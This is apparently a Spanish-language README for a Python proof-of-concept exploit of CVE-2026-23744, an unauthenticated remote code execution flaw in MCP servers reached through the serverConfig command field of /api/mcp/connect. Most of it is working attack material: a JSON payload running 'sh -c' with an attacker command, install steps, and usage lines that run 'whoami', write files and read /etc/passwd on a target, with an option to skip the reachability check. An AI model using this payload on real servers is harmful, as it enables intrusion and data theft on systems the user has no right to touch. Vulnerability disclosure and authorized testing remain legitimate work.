
Python PoC para CVE-2026-23744, RCE no autenticado en servidores MCP a través del campo de comando serverConfig de /api/mcp/connect (puerto predeterminado 6274)
Prueba de concepto (PoC) por d3vn0mi
CVE-2026-23744 es una vulnerabilidad de Ejecución Remota de Código (RCE) no autenticada en servidores compatibles con MCP expuestos en el puerto 6274. El endpoint /api/mcp/connect acepta un objeto serverConfig que permite a los llamadores especificar un comando del sistema operativo y argumentos arbitrarios — sin ninguna comprobación de autenticación o autorización.
Un atacante con acceso de red al servicio puede ejecutar comandos arbitrarios como el usuario que ejecuta el servidor MCP.
| Detalle | Valor |
|---|---|
| ID CVE | CVE-2026-23744 |
| Tipo | Ejecución Remota de Código no autenticada |
| Endpoint | POST /api/mcp/connect |
| Puerto | 6274 (por defecto) |
| Severidad | Crítica |
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<COMANDO_DEL_ATACANTE>"],
"env": {}
},
"serverId": "anything"
}
El servidor ejecuta el command proporcionado con los args dados sin saneamiento ni control de acceso.
git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt
# Uso básico
python3 exploit.py -t <IP_OBJETIVO> -c '<COMANDO>'
# Puerto personalizado
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'
# Omitir la comprobación de alcance
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check
# ID de servidor personalizado
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server
| Flag | Descripción |
|---|---|
-t, --target | IP o nombre de host objetivo (obligatorio) |
-c, --command | Comando del sistema a ejecutar (obligatorio) |
-p, --port | Puerto objetivo (por defecto: 6274) |
-s, --server-id | Valor de serverId en el payload |
--timeout | Tiempo de espera de la sonda en segundos (por defecto: 30) |
--no-check | Omitir la comprobación inicial de alcance |
/api/mcp/connect mediante autenticación y controles a nivel de red.Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el uso indebido. Obtenga siempre la autorización adecuada antes de realizar pruebas.
Este proyecto está licenciado bajo la Licencia MIT.
d3vn0mi — github.com/d3vn0mi